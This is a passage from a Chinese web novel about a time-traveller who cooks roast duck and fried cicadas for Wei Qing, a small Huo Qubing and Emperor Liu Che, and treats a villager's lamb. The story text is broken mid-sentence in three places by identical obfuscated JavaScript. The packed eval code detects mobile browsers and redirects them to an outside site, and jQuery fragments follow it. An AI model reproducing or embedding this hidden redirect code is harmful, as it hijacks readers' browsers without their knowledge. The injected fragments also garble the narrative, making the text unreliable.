卫青长这么大从未如此清闲,以至于他心慌。如今终于可以做点事,卫青自然不会假手于人。 谢晏给鸭子做完按摩,盖上木盖,把手洗干净就给霍去病洗桃子,随后几人出去纳凉。 两炷香后,谢晏和卫青进来,卫青烧火,他做水烙饼。 烙饼做好后放在锅里保温。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16177416|180784||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谢晏和白面擀面条。面条切好,谢晏用另一口锅做白面烙饼。水烙饼做好后同先前的烙饼放一起。此时金乌西坠,离天黑下来最多剩一个时辰。谢晏把鸭子拎出来吹风。卫青烧烤炉,待烤炉发烫,谢晏把两只鸭挂进去。 杨得意等人还在狗舍,有人遛狗,有人煮狗食,有人打扫狗舍。 杨得意忙得汗流浃背,谢晏和卫青的头发湿透了。唯有三岁小孩顶着好奇的小脸,一会儿跑出去看看杨得意遛狗,一会儿进来看看他舅烧火。 约莫过了两炷香,烤鸭的香味飘出,小孩顿时觉得皇室才可享用的桃子索然无味。小孩找到洗手盆,洗洗手就跑到谢晏身边。 谢晏把他的小手擦干净,小孩和谢晏并排坐在木墩上,抿着小嘴盯着他舅。 卫青被看得后背发毛,回头发现是外甥,没好气道:“看也不给你吃!” 小孩转向谢晏,他已经发现在此他舅说了不算。 “还要半个时辰。”谢晏指着西边晚霞,“红霞没了,天色暗下来才可以吃烤鸭。” 小霍去病摸摸肚子:“我的肚肚说他饿了。” 卫青:“一个大桃子被你吃的只剩桃核,你还饿,你是小猪吗?” 小孩点点头。 谢晏:“我给你煮点面,你先吃面?” 小孩神色一变,慌忙摇头:“肚肚说可以等会再吃。” 卫青不禁转向外甥,神色纳闷:“今日你怎么这么多话?晌午你娘还说你三棍子打不出一个屁!” “臭臭!”小孩皱着鼻子用小手扇走舅舅的屁。 卫青感到呼吸不畅:“——日后不要随我过来。” 小孩歪头问:“晏兄,我可以来找你玩吗?” 谢晏好笑:“你说呢?” “可以哒!”小孩重重地点头。 卫青:“谁送你过来?” “大舅舅啊。”小孩得意地看着他二舅,忘了吧,我不止你一个舅舅。 卫青忘了他家今时不同往日。 往日一家人住在城外,日子紧巴巴。如今搬到城里,家中还置办了一辆驴车和一匹马。 小孩见他二舅无言,夸张地捂着胸口长舒一口气,跟劫后余生似的。 谢晏忍着笑起身:“阿青,不用盯着,到旁边洗洗脸歇一会再添柴。” 卫青不懂做饭,自然是谢晏说什么是什么。他擦擦脸坐到外甥身边,低声问:“你是不是很喜欢阿晏,所以见着他就小嘴叭叭个不停?” “我没有小嘴叭叭个不停!”小孩哼一声,双手抱胸转过身去。 卫青好气又好笑:“还敢跟我置气?” 小孩抬手捂住耳朵,不听,不听,舅舅念经! 谢晏从厢房出来就看到这一幕:“吵架了?” 小孩朝谢晏跑去:“晏兄,舅舅欺负我!” “罚舅舅读书。”谢晏抱着一堆竹简,分别是《孙子兵法》、《易经》和《六韬》。 卫青起身帮他拿一半,谢晏把剩下一半也塞他怀里。卫青问他放哪儿,谢晏指着隔壁卫青暂住的屋子。卫青后知后觉:“送给我?” 谢晏点头。 小孩幸灾乐祸:“罚舅舅读书!” 在卫青看来书籍很是珍贵,他瞪一眼什么都不懂的外甥,转向谢晏:“你看什么?” “我看到这些犯困。”谢晏说的是真的,他试图看过,然而眼晕,“不认识的字问公孙或者杨公公。不要问我,我不懂其意!” 卫青感到怀里的书千斤重:“这是谢家祖上珍藏吧?” 是谢家祖上珍藏,但不是谢晏家珍藏,因此他毫不心疼,“这些书有人看是书,没人看,擦屁股都硌得慌!” 8. 香煎知了 卫青闻言感到一言难尽。 谢晏长得白净,走动间也像个大家公子,怎么偏偏长了嘴呢。 卫青把书放到室内,出来后便朝烤炉走去。 小霍去病拉着谢晏的手:“晏兄,你看,舅舅躲罚不读书!” 卫青回头:“霍去病,是不是想挨揍?” “我是卫家宝!”小孩大声说,“霍去病挨揍,你和霍去病说啊。” 卫青的呼吸停顿。 “咳!”谢晏呛着。 小霍去病好奇地问:“晏兄病了吗?” 谢晏又险些被口水呛着,这孩子怎么跟史书上记载的不一样啊。 幸好卫青听不见他的心声,否则定会如遇知音,告诉他跟在家和在宫里的霍去病也不一样。 谢晏摇摇头,胡扯:“晏兄被风呛着了。” “晏兄,看我。”小孩捂住嘴巴,“不会喝到风。” 谢晏捂住嘴巴点点头,道一声谢,放下手:“好了。” 小霍去病感到很有成就感,小脸得意,下巴能戳上天。卫青看不下去,背对着外甥盯着烤炉。 暮色四合,谢晏等人洗去一身的汗渍和疲惫,烤鸭熟透了。 虽然皮不够酥,但味道足够香。 巡逻的建章卫换了三次,每次都有人来到门外问:“小孩,做的什么这么香?” 谢晏坦诚相告,但不等他们提出来一块,又说只有两只烤鸭。 建章卫很清楚狗舍有多少人,闻言不好意思讨要,便说改日去农户家中买两只鸭,谢晏再做烤鸭时顺便帮他们烤了。 谢晏应下,他们便心满意足地离去。 话说回来,谢晏切鸭肉,杨得意卷鸭肉和菜,卫青烧火。水沸腾,谢晏把鸭骨头扔进去,又煮片刻就煮面和菜。 随后一人一个卷饼一碗面汤。 霍去病不同,他是半碗面汤一个鸭腿和一个巴掌长的小卷饼。 起初孩子不乐意,嫌弃他的饼小。谢晏把鸭腿拿出来,要同他换一下,他又不换了。 小孩左手饼右手腿,一边一口,不偏不倚,尽可能不叫自己的嘴巴闲着。 卫青看着他的吃相后悔把他带来。 浅尝一口,卫青口齿生津,迫不及待地狼吞虎咽起来。卫青方意识到失态,脸色极为尴尬。抬眼一瞅,个个同他一样,跟饿了八年似的,他刚刚升起的自卑感瞬间消失。 谢晏看着同僚好友这么给面子,心里美滋滋的,前世今生第一次觉着自己不是废物,忍不住嘚瑟:“大宝,香不香?” 霍去病家的伙食不错,但不是蒸就是煮,偶尔鏊子煎肉,又柴又硬。用炭火烤上一次,尽是烟熏火燎味儿。 烤鸭也是烤,但外香里嫩。小霍去病出生两年多,第一次吃到如此美味的烤鸭。小孩心潮澎湃,艰难地咽下去,挥舞着油乎乎的小手比划:“晏兄,我可以再吃个鸭腿吗?” 谢晏前世死的时候二十出头,没有孩子,但他有侄女和外甥。谢晏听他姐说过小孩吃多了积食。 “晏兄做的面也是一绝。不想尝尝啊?” 晏兄人好,以前送他一篮桃,今日又给他摘俩大桃子,还给他做烤鸭。小孩相信好人晏兄做的面一样很香。 “想!” 谢晏把碗端到小孩面前,把他的鸭腿暂放空盘中,叫他喝口热汤:“吹一下再喝啊。” 鸭骨汤有肉香无腥味,看似浑浊,实则十分清淡,因为谢晏没有放猪油,仅放几片鸭油。小孩从未喝过如此美味的汤。一时间小孩想吃饼想吃腿想喝汤,怎奈他只有两只手啊。 小孩转向谢晏:“晏兄,我可以有三只手吗?” 谢晏被他的童言童语逗笑了。 卫青左手扶额:“霍去病,再说丢脸的话,待会就跟我回家。” 小孩不带怕的:“我叫卫家宝!不要和我说霍去病!” 卫青:“——别给我胡搅蛮缠!” 小孩摇摇头:“胡搅蛮缠霍去病!”言外之意,不是我卫家宝! 卫青险些咬到自己的舌头。 谢晏端起小孩的碗:“晏兄借你两只手。” “晏兄不吃了吗?”小孩不禁问。 谢晏:“晏兄吃累了歇一会儿。” 三岁小孩很好哄,闻言信以为真。过了片刻他吃累了要歇息,谢晏继续吃饼。幸而天热,裹在面饼里的鸭肉依然又热又软又香。 谢晏的饼还没吃完,杨得意等人就把面汤喝完。杨得意打着饱嗝起身朝砂锅走去,发现还有几碗汤,他剩半碗。 小黄门以为没了,见状立刻过去添上一勺。其他人各来半碗。锅里一干二净才想起来问谢晏和卫青要不要再来点。 谢晏摇头。 卫青看一眼尚未动筷子的面,“我也不用。” 听闻此话几人不在客气,面汤喝的一干二净,长叹一声:“舒服!” 杨得意习惯性想调侃两句,身体一动就感到撑得难受,顿时不好意思嘲笑他人。“没想到挂在烤炉中用果木烤出来的鸭肉这么香。感觉我前半生白吃了。” 以前杨得意每隔一段时日也能吃上一次炙鸭。鸭肉也香,但只有鸭肉本身的香味,什么蜂蜜、果木,统统没有。 杨得意敢说,皇帝也不曾尝到过如此美味。 “阿晏,你若是多做几次,只凭烤鸭的手艺,也可以在东西市赚个盆满钵满!”杨得意话赶话,说道,“依我看,你也别给牲畜治病了。” 谢晏:“日日给你们做烤鸭?想什么好事呢。” 杨得意:“你小子,不能容我把话说完?我说东西市!” 谢晏:“我差钱?” 杨得意消停了。 卫青想起谢晏送他的那些书,无论卖给谁都可以卖几贯。几千文看似不多,但是五口之家一年的进项。谢晏说送就送,这样的底气,令卫青觉得他最少家赀千贯。 谢晏平日里住在建章,俸禄不多也足够他添衣喝茶,无需动用家底,着实不差钱。 卫青可以想到这些,身为他同乡的杨得意自然也能想到:“我差钱行了吧。” 谢晏毫不在意地说:“方子送你!” 杨得意本想用这句话挤兑他,听闻此话,噎得有口难言。 仅比杨得意低一点的小黄门乐了:“怎么不说话?杨公公,腼腆害羞了吗?” “滚!”杨得意笑骂一句,起身收拾碗筷。 做饭烧火的卫青和谢晏领着霍去病出去纳凉。 然而蝉鸣让人心烦。谢晏在树下呆了片刻就叫舅甥二人在树下等他。他到院中找个木桶和灯笼,又把打果子的长棍网兜找出来。 杨得意对他真是佩服的五体投地:“又是烤鸭又是煮面,你不累吗?” 谢晏不累,大抵吃得多不长身体,无法消耗,以至于精力旺盛极了。 杨得意问他干什么去。谢晏指着门外:“抓知了。” “喂鸡喂鸭?”杨得意问。 谢晏:“我吃。对了,险些忘了,果园里又掉了许多被虫和鸟吃的果子,明早我们捡回来,我和阿青用驴车给农户送去。” 前些日子谢晏就干过这事。 农户家中这个时节不缺果子,房前屋后都有果树。谢晏送过去是叫农户喂猪。杨得意起初不乐意,但谢晏难得对一件事感兴趣,杨得意便“舍命陪小孩”。 谁知第一次送过去就得了农户俩鸡蛋。 “你和阿青捡,我送过去。”杨得意说完这事,不禁皱眉,“我少时家里没饭吃才捡知了。你个大家公子怎么也吃知了?” 谢晏老神在在地摇摇头:“你吃的和我吃的不一样!” 杨得意后悔多嘴,没好气地白了他一眼。 谢晏不恼不羞,到门外举起长棍,大喝一声:“开拔!” 小霍去病举起小拳头朝前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16177417|180784||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 挥舞,雄赳赳气昂昂:“开拔!” 卫青提着灯笼跟在后面,看到这一幕,他忽然有种预感,待他伤愈,这个外甥也不能要了。 - 约莫过了半个时辰,谢晏和霍去病就捡了两三斤。卫青腿疼,不敢随意蹲起,只是找寻爬到树上尚未脱壳的也捡了小一斤。 被烤鸭征服的几个啬夫也来帮忙。又过了半个时辰,捡了半桶。谢晏犯困,小霍去病也忍不住揉眼睛,一行人回宿舍。 虽然白天炎热,但晚上阴凉。院中又点了许久搓成条的艾柱,屋里没有蚊虫,谢晏一觉到天亮。 翌日,东方既白,杨得意等人和以往一样去狗窝。卫青听到动静,起来洗漱,随后推着小车捡果子。 辰时左右,该准备早饭了,卫青坐到灶前等着烧火。 昨日公孙敖回家去了,傍晚到建章烤鸭早没了。今日一早他就跑来问谢晏早上吃什么。 若是以往,只有小米麦仁粥和素菜。 今日多个三岁小孩霍去病,谢晏决定一人两张煎饼。 庖厨有鏊子,面糊糊倒进去转一圈翻个面就熟了,不是很繁琐。 公孙敖:“只有饼和粥啊?” 谢晏:“还有酱。饼蘸大酱。” 公孙敖:“还不如我们?我们早上还有油饼。” 谢晏:“那你走吧。” 公孙敖恨不得朝自己嘴上一巴掌,让你多嘴!又不是不知道这小子一句话能噎死一人:“我不走!我还没吃过你做的煎饼。” 这倒是真的。公孙敖只在此用过午饭和晚饭,而午饭通常是蒸饼,晚饭通常是面汤。 谢晏见他不想走也不再开口撵人,而是把木桶给他:“你把知了洗了。若是有脱壳的,外壳留下来。知了壳又叫蝉脱,是一味中药。我不知如何用药,城里的药铺懂得。改日攒多了我拿去卖掉。” 公孙敖惊到失语。 谢晏奇怪:“怎么了?” 公孙敖难以置信:“你你,你吃这个?” 谢晏点头:“洗不洗?” 公孙敖不想洗,但不洗肯定吃不到谢晏做的饼。公孙敖硬着头皮接过刷子去远处河边上游刷知了。 谢晏把粥煮上,卫青烧火,他去薅一把葱。 小葱也是杨得意等人自己种的,原话是不用买菜,省下的钱用来买肉。 谢晏把从小葱一分为二,一半切碎炒酱。庖厨没有炒锅,谢晏用鏊子。幸好大汉的鏊子是中间凹,完全可以到当炒锅来用。 酱盛出,谢晏打几个鸭蛋,加入水、白面和小葱以及盐,用鏊子做鸡蛋饼。 鸡蛋饼做好放锅里保温。公孙敖终于舍得回来。恰好这个时候霍去病醒了,公孙敖去给小孩穿衣穿鞋,领着他洗漱,实则不敢看谢晏煎知了猴。 猪油煎至焦香的知了猴越嚼越香。杨得意不得不承认,他吃的和谢晏吃到的不一样。但他才不会承认,否则谢小孩的尾巴敢翘上天,建章园林盛不下他。 小黄门和几个做杂事的啬夫也不再抱怨谢晏不好好做饭,反而问晚上去不去。 谢晏点头:“最多再吃二十天。” 卫青:“会不会吃绝种?” “不会啊。听闻一只知了可产几百只卵。即便只剩一只知了,明年又会满园皆是知了猴。”谢晏挑个嫩嫩的塞小霍去病口中。 霍去病年幼无知,毫不惧怕。 公孙敖见所有人都吃知了,他夹一个,闭上眼塞嘴里。由于他胡思乱想,险些吐了。 谢晏瞥他一眼:“没有挨过饿!” 小霍去病点头附和。 公孙敖没心思同他俩计较,端着碗移到方几另一侧,离知了猴远远的。 小霍去病又吃三个,看到舅舅吃鸡蛋饼,他拿起一张大饼叫舅舅给他刷酱。 卫青掰掉半个,小孩气得噘嘴。卫青不为所动:“只有这么多,爱吃不吃!” 9. 刘彻教卫青 小霍去病慌忙伸出小爪子抓走。 半个鸡蛋饼吃完,半碗粥喝光光,小孩饱了。卫青指着剩下半张鸡蛋饼故意问:“吃吗?” 小霍去病转身到谢晏另一侧,不和坏舅舅坐一起。 刘彻恰好此时进门。 昨晚刘彻越琢磨越睡不着,谢老鬼要是脑子一热,有个坏心眼,他的大将军,他的冠军侯,岂不是全没了。 是以早朝过后,刘彻以宫中炎热为由搬至离宫。又因为担心藩王细作暗害卫子夫,临走前他还找了他娘王太后。 王太后同刘彻一样紧张卫子夫腹中胎儿,宽慰刘彻,有她在宫里盯着,什么魑魅魍魉,都叫他无所遁形。 这么一耽搁,出宫后直奔建章也没有赶上早膳。刘彻便带着内侍来到狗舍。 刘彻笑着说:“来得早不如来得巧啊。” 谢晏皱眉。 [这尊神怎么又来了?] 刘彻脚步一顿,假装没听见。卫青等人起身行礼,刘彻不拘小节地抬抬手:“无需多礼。”走近看看方几上的饼和粥,感觉过于寡淡,再瞥一眼,眼睛地震,“这,这是何物?!” 谢晏闻言感到奇怪。 [隔三差五钻林子,他竟然不识知了?] 刘彻当然认识:“怎么吃这个?”想起什么,万分担忧,“卫青,你吃了吗?去病,你呢?” 霍去病起身,板着小脸道:“启禀陛下,大宝吃了。” 刘彻想说什么:“——大宝?” 霍去病点点小脑袋:“晏兄给我取的乳名。” 刘彻张口结舌,他,给冠军侯起个乳名叫“大宝”?怎么不干脆起名“小宝”? 小宝不如大宝大气!谢晏的想法就是如此朴实无华。 刘彻离他远两步,今日不想听到他腹诽:“卫青,他皮糙肉厚,你哪能跟他学?你喝点牛乳都闹肚子。” 卫青心里无奈又好笑:“陛下,知了洗的很干净,微臣不闹肚子。” 杨得意很懂待客之道,虽然这个“客”身份尊贵,也要问候一二:“陛下吃了吗?” 刘彻挨着卫青坐下,看看自己的手又起身。卫青先一步起来打水。谢晏猜到他没用早饭。虽然不是很欢迎刘彻,谢晏仍然给他盛粥。 霍去病靠在谢晏身上,好奇地问:“陛下,香不香啊?” 刘彻给他掰一块鸡蛋饼。 小孩美了。 卫青:“陛下,您看他的肚子,吃撑了。” 小孩再次躲到谢晏另一侧。 刘彻不曾吃过鸡蛋饼,也不曾用过刷了小葱炒酱的鸡蛋煎饼。饶是他吃惯了山珍海味,也不由得对软软的煎饼和浓浓的酱香感到稀奇。 宫里没有的食物,杨得意肯定不会做。不出意外,又是谢晏做的。 刘彻突然有点不确定谢晏是不是比他活得久。如果只是比他活得久,没道理谢晏会做的食物,他堂堂帝王都不曾听说过。 刘彻可不是四体不勤的昏君。他时常鱼龙白服,混进市井和乡野之中。 不过一口吃的,也不是很要紧。 卫青和霍去病安然无恙才是重点。 刘彻看到谢晏自己也吃知了,便可以断定他不会借机捉弄舅甥二人。也再次确定,人有善恶,鬼也一样。 人恶起来比鬼可怕! 刘彻不再一看到谢晏就觉得瘆得慌。 饭后,刘彻不提出离开,谢晏也不能出口撵人。杨得意也不敢去狗窝。 过了一炷香,刘彻才意识到所有人都围着他打转。 刘彻令尚在养伤的卫青随他到门外果树下纳凉。 杨得意把方几搬过去,令谢晏烧水煮茶,又令小黄门把谢晏前几日做的点心找出来。 一壶茶和两样点心两样果子备齐,小黄门去狗窝。 并非小黄门没眼力见儿。小黄门也想飞黄腾达。可惜这年月天子近臣活不长。君不见,皇帝和太皇太后斗法,位列三公也会丢了性命。何况他这等可有可无的奴婢。 杨得意驾车下乡。 见缝插针地伺候之类的,不存在! 谢晏也没闲着,背着他的小药箱朝狗窝走去。 霍去病趴在舅舅身边啃果子,看到谢晏立刻起来。祖母和舅舅的话在耳边响起“不可对陛下无礼!”小孩转向刘彻:“陛下,我想和晏兄去狗舍。” 刘彻打量一番霍去病的小胳膊小腿,估计给他讲兵法他也记不住,便微微颔首。 “谢谢陛下!”小霍去病转身去追谢晏,“晏兄,等等大宝。” 谢晏停下。 小霍去病跑到跟前就用他黏糊糊的小手抓住谢晏的手。 谢晏庆幸霍去病不是他儿子。 若是他儿子,未来几年,日复一日被这样缠着,他定会化身严父! 刘彻左右一看,只剩他和卫青以及内侍,便同卫青闲聊,主要打听同谢晏相关的事。 卫青不知谢晏何时得罪过天子。那日的赏赐唯独漏掉谢晏。听到天子很是好奇地问谢晏这两日忙什么。卫青心惊,小心禀报:“和往常并无不同。” 刘彻皱眉。 如此明显,即便卫青迟钝如猪,也看出皇帝对此不满。卫青犹豫片刻,认为没有必要隐瞒,便说出谢晏昨晚送给他许多书简。 刘彻来了兴趣:“什么书?” 卫青心里长舒一口气:“《孙子兵法》、《易经》和《六韬》。只是,微臣看不懂。” 刘彻此刻可以确定谢晏心里说的“大将军”正是卫青。 如今卫青是建章监。若是谢晏是真实的谢晏,无论他把卫青当好友,亦或者卫夫人的弟弟,谢晏送给他的礼物都应当是宝剑,亦或者财物。即便送书,也应当是《道德经》。 众所周知,如今上至太皇太后下到百姓皆好黄老之学。 随即刘彻又高兴不起来。 大汉上一位有大将军之名的是太皇太后的侄子窦婴。窦婴出任大将军时都四十多岁了。卫青今年才十来岁,他还要再等上三十年! 刘彻等不下去,叫卫青把书拿来,他教卫青《孙子兵法》。 卫青不傻。相反,小小年纪就敢千里寻母,还叫他找到,说明卫青极其聪慧。昨日被烤鸭香迷糊,没心思细想。此刻他意识到谢晏不该送他《孙子兵法》。陛下也不应当教他《孙子兵法》。 卫青试探地问:“陛下,微臣学《孙子兵法》做什么?” 刘彻注意到卫青眼中有些许不安,笑着安抚:“不止你要学,公孙敖等人也要学。”指向南方,“日后也要在那里学骑射。” 不是他一人?卫青猜想皇帝是要培养自己的心腹,瞬时心里踏实下来:“陛下叫臣学臣就学。陛下,请您稍等片刻。”到室内把谢晏送他的书简全部搬出来。 刘彻拿掉包裹着书简的蜀锦:“谢氏不愧是蜀郡大族。朕的藏书也不曾用过蜀锦。” 卫青假装没听见:“陛下,上面有很多字,臣都不认识。” 刘彻听闻此话心里很是踏实,卫青没有被老鬼附身:“坐过来,朕教你。” 卫青靠近。刘彻先给他读一遍,问卫青哪里不懂,他讲哪里。卫青明白整篇何意,他再教卫青认字。 期间内侍前往刘彻位于建章的寝宫拿来笔墨竹简。 刘彻教几个字就叫卫青在竹简上写下来。 不知不觉,半个时辰过去。 杨得意驾车回来,韩嫣和黄门送来奏报。刘彻不想移到他在建章的书房,便在树下批阅。卫青在他身边练字。遇到不懂的,刘彻叫韩嫣教他。 韩嫣身为刘彻伴读,指点年少的卫青绰绰有余。 杨得意见状不敢靠近打扰,也不希望皇帝注意到他回来了。在院中没有找到谢晏,他悄摸给内侍使眼色。 内侍悄悄过去,杨得意低声问:“谢晏呢?” 内侍朝狗窝看去:“不在狗窝就在林子里。” 杨得意:“我去林子里看看。” 谢晏此时不在林子里。 一炷香前,猎犬下崽,谢晏领着小霍去病蹲在一旁,小霍去病看下崽,他在脑海里找产后护理相关的知识。可惜没找到。 谢晏看着小黄门很是熟练的把小狗移 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16177418|180784||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到狗娘身边便不再为难自己。 小霍去病拉住谢晏的手:“晏兄,小狗狗好小啊。” 谢晏:“想不想养一只?” 小孩忙不迭点头。 “可惜不可以。”谢晏逗他,果不其然,小孩撒手,表示他很生气。 谢晏:“小狗还没睁开眼。等柿子红了,小狗长大,再叫阿青把你接来,喜欢哪只选哪只。” 小孩又亲亲热热地拉着他晏兄的手。 杨得意进院便听到谢晏自作主张的这番话。本想数落他,这些狗是陛下的。冷不丁想起霍去病乃卫夫人的外甥,唯一的外甥。莫说他要小狗,要一头猎犬,陛下也会埋怨“这等小事还用问朕?” 杨得意拍拍谢晏。谢晏拉着霍去病随他到门外:“何事?” “农户家的小羊羔这两日窜稀。我瞧着再过两日就不行了。”杨得意指着驴车,“你驾车过去。” 小霍去病朝驴车看去。 杨得意:“你就别去了。” 小孩死死抓住谢晏的手,满脸不高兴地瞪着眼睛看着杨得意。 杨得意可不敢得罪这位小公子:“我送你们过去吧。左右我也没什么事。” 谢晏领着小孩上车,担心他摔下去,叫小孩坐他怀里。杨得意看着大小孩搂着小小孩,只觉得有趣。 驴车往西,出了建章园林,又过两炷香才看到一排排土坯砌成的茅草屋。 杨得意停车,在路边乘凉的村民靠近:“小谢先生?你侄子啊?”说话间要把小霍去病抱下去,小孩不认识他,拉着谢晏。谢晏拍拍小孩,说他也要下去,小孩才把手递出去。 乡民把小霍去病放地上就为谢晏拿药箱。 以前可没有这待遇。 谢晏给村里的猪治过病接过生,又救了一个被杏肉卡到喘不过气的小孩,他就从谢小公子变成“小谢先生”。 乡民把谢晏送到养羊的农户家门外。 身着褐色短衣,头发有些凌乱,肤色如黄土地一般的中年妇人跑出来,看到谢晏跟见着亲人似的:“您可来了。” 谢晏点点头,随她进院。 小霍去病抓着他的手,满脸好奇。 到院里,妇人叫她男人把羊圈里的小羊抱出来。 谢晏叫霍去病后退,他把药箱递给妇人,蹲下去看看小羊的屁股,又朝羊圈看去。 男子道:“村里养羊的乡亲给看过,说用大蒜捣碎灌下去,两天就好了。可今天都是第二天了,也没见好啊。” 谢晏思索片刻:“路边有婆婆丁吧?” 男子的老娘从庖厨出来,农家这个时候才用过早饭:“门外墙根地下有。” 谢晏又问:“有没有马齿苋,也叫猪母菜?各挖两斤。” 老媪闻言去拿镰刀和草框。 谢晏又叫妇人去取一些锅底灰,磨成粉末,待会同婆婆丁或者马齿苋拌到一起。 男子不敢信:“婆婆丁和锅底灰能治窜稀?” “婆婆丁不但可以治牲畜,也可以给人治病。”谢晏指着院中种的青菜,“比你家种的这些菜好多了。晒干后泡水。一定要用滚烫的热水。别着急喝,多泡一会,水不烫了再用。像如今的天气,喝下去可以清热解毒。遇到喉咙肿痛,多喝几次也能痊愈。若是夜里发烧,额头烫的瘆人,可以用马齿苋。不过手脚冰凉的人慎用马齿苋。” 夫妻二人跟听天书一样。 妇人:“小谢公子,你你再说一遍。” 谢晏又重复一遍。 妇人听他说完,心头发热:“家里常备这两样,我们就不用花钱请郎中?” 谢晏:“不能治百病。” 妇人想想也对,像女人病,这两样兴许就治不了。她看到谢晏还站着,立刻去堂屋拿俩木墩,叫谢晏到门外树下乘凉。 小霍去病靠到谢晏怀中。 妇人看着稀奇:“这孩子真乖。不言不语。小谢公子,你侄子啊?” 谢晏笑着捧着小孩的小脸:“我的大宝弟弟。” 小霍去病抿嘴暗乐,又觉得不好意思,扭身扑到谢晏怀中。 10. 小鸡盖被 谢晏等人在门外等了约莫一炷香,老媪带着孙子孙女拎着一筐婆婆丁和马齿苋回来。 在路边闲聊的村民听说婆婆丁可以治窜稀都跑来一探究竟。 谢晏牵着霍去病进院,闻到各种臭味忍不住皱了皱眉。 先前看到他们着急,谢晏不好意思开口。如今小羊羔吃草,一家人都松了一口气,谢晏便指着羊圈对中年妇人道:“该清理了。这样容易得瘟病。” 妇人很是不好意思:“这两日只顾得担心小羊羔。小谢先生,你放心,待会就清理。” 谢晏微微摇头:“不是我嫌脏。你把羊圈清理干净,去河边弄些干土撒进去,再铺一层草木灰,就是你家烧柴的灰,让羊在上面打滚,可以杀死羊身上的虫。有些羊不知道怎么就死了,正是因为身上有虫。” 妇人和乡亲们恍然大悟。 杨得意跟着村民进来:“以前我们烧的灰都是直接倒入茅坑中。如今除了茅房用的都用麻袋收起来。” 众人一听皇家园林里也是如此,立刻把这番叮嘱刻到心里。 谢晏又在门外等了一炷香,吃过草的小羊没有窜稀,羊主人一家觉得羊痊愈了,就把早已备好的蛋送过来。 谢晏只取两个鸡蛋和一个鸭蛋。 妇人不禁说:“小谢先生——” 谢晏:“我拿着皇家俸禄,再拿你的一筐鸡蛋,要是被人知道,定会去陛下面前告我一状。三个蛋不多也不少。剩下的留着给你家孩子补身体。吃进肚子里多长点肉才能扛过寒冬腊月。” 妇人仍然不好意思,又抓两个塞霍去病手里。小孩迅速把手背到身后。妇人愣了一下,朝谢晏看去。 谢晏:“大宝,收下吧。” 小霍去病伸手接过去。 杨得意抱起小孩上车,谢晏叫众人留步。 就在这时,自村子另一头跑来一位老翁:“小谢先生,等等,等一下!” 谢晏把蛋和药箱放车上,转身等着他走近。 “出什么事了?”谢晏问。 老翁:“我家的猪,我家的母猪好像有了。去帮我看看?” 母猪即将生产的村民不禁说:“这点小事也用劳烦小谢先生?回头我帮你看看。”转向谢晏,“小谢先生,过些日子我家的猪生了,你可要记得过来抓小猪仔。” 谢晏点点头,问老翁:“我可以走了吗?” 老翁笑得很不好意思。 杨得意驾车载他俩回园林。 到宿舍门外,小霍去病下车就朝卫青跑去:“舅舅,我的——”皇帝抬头,小孩立刻停下。 皇帝皱眉,心说,朕还能有谢老鬼可怕。 “怕朕做什么?朕又不打你。过来给朕看看你拿的什么。”刘彻挤出一丝笑。 小孩回头找谢晏。 谢晏点头。 小孩跑过去:“晏兄给小羊羔看病,人家给我们的蛋。有五个这么多!”他把蛋放到刘彻手中,伸手比划一下,又转身找谢晏。 谢晏把余下三个给他,小孩放到方几上:“我一个,舅舅一个,杨公公一个,”看到皇帝,犹豫片刻,“陛下一个,晏兄一个!” 刘彻:“为何他的最大?” “蛋是人家给晏兄的,晏兄要吃最大的。”小孩想起什么,看着皇帝,满眼担忧。 刘彻气笑了:“朕还差这几个鸡蛋?改日朕叫人送千八百个过来!” 卫青:“陛下,天气炎热,吃不完就坏了。” 刘彻噎了一下,他实心眼啊?比方,不懂吗。刘彻再次怀疑谢晏的心声,卫青这个秉性,真能当大将军吗。 不会被卖到匈奴吧。 谢晏心底暗笑,竟然可以看到汉武帝吃瘪,难得,难得! “大宝,把蛋给我,晌午给你做鸡蛋饼。”谢晏开口,小孩立马把蛋还给他。 谢晏进院,他也跟进去。 刘彻转向卫青:“朕怎么记得他是你外甥霍去病?” 卫青颇为无奈地说:“他俩一见如故。” 一见如故?刘彻立刻做下决定,今年在建章避暑。 他有一见如故,朕有日久生情! 朕的冠军侯,谁也抢不走! 金乌西坠,刘彻还跟老僧入定似的在阴凉处坐着,谢晏纳闷。 [他怎么还不走?] 刘彻朝谢晏瞥一眼,他就不走。 他就知道这小子面上恭顺,心里压根没把他当皇帝。 难不成他前世是陈胜的后人?实则不姓谢! 无论前世还是今生,谢晏都不想同权贵打交道,因为他很清楚,玩政治的人心都脏。 刘彻是帝王,肯定脏的不能再脏! 凭他过些年逼儿子杀闺女毫不手软,谢晏也不想被他记恨。 谢晏朝狗窝走去。 小霍去病跟个跟屁虫似的追上他。 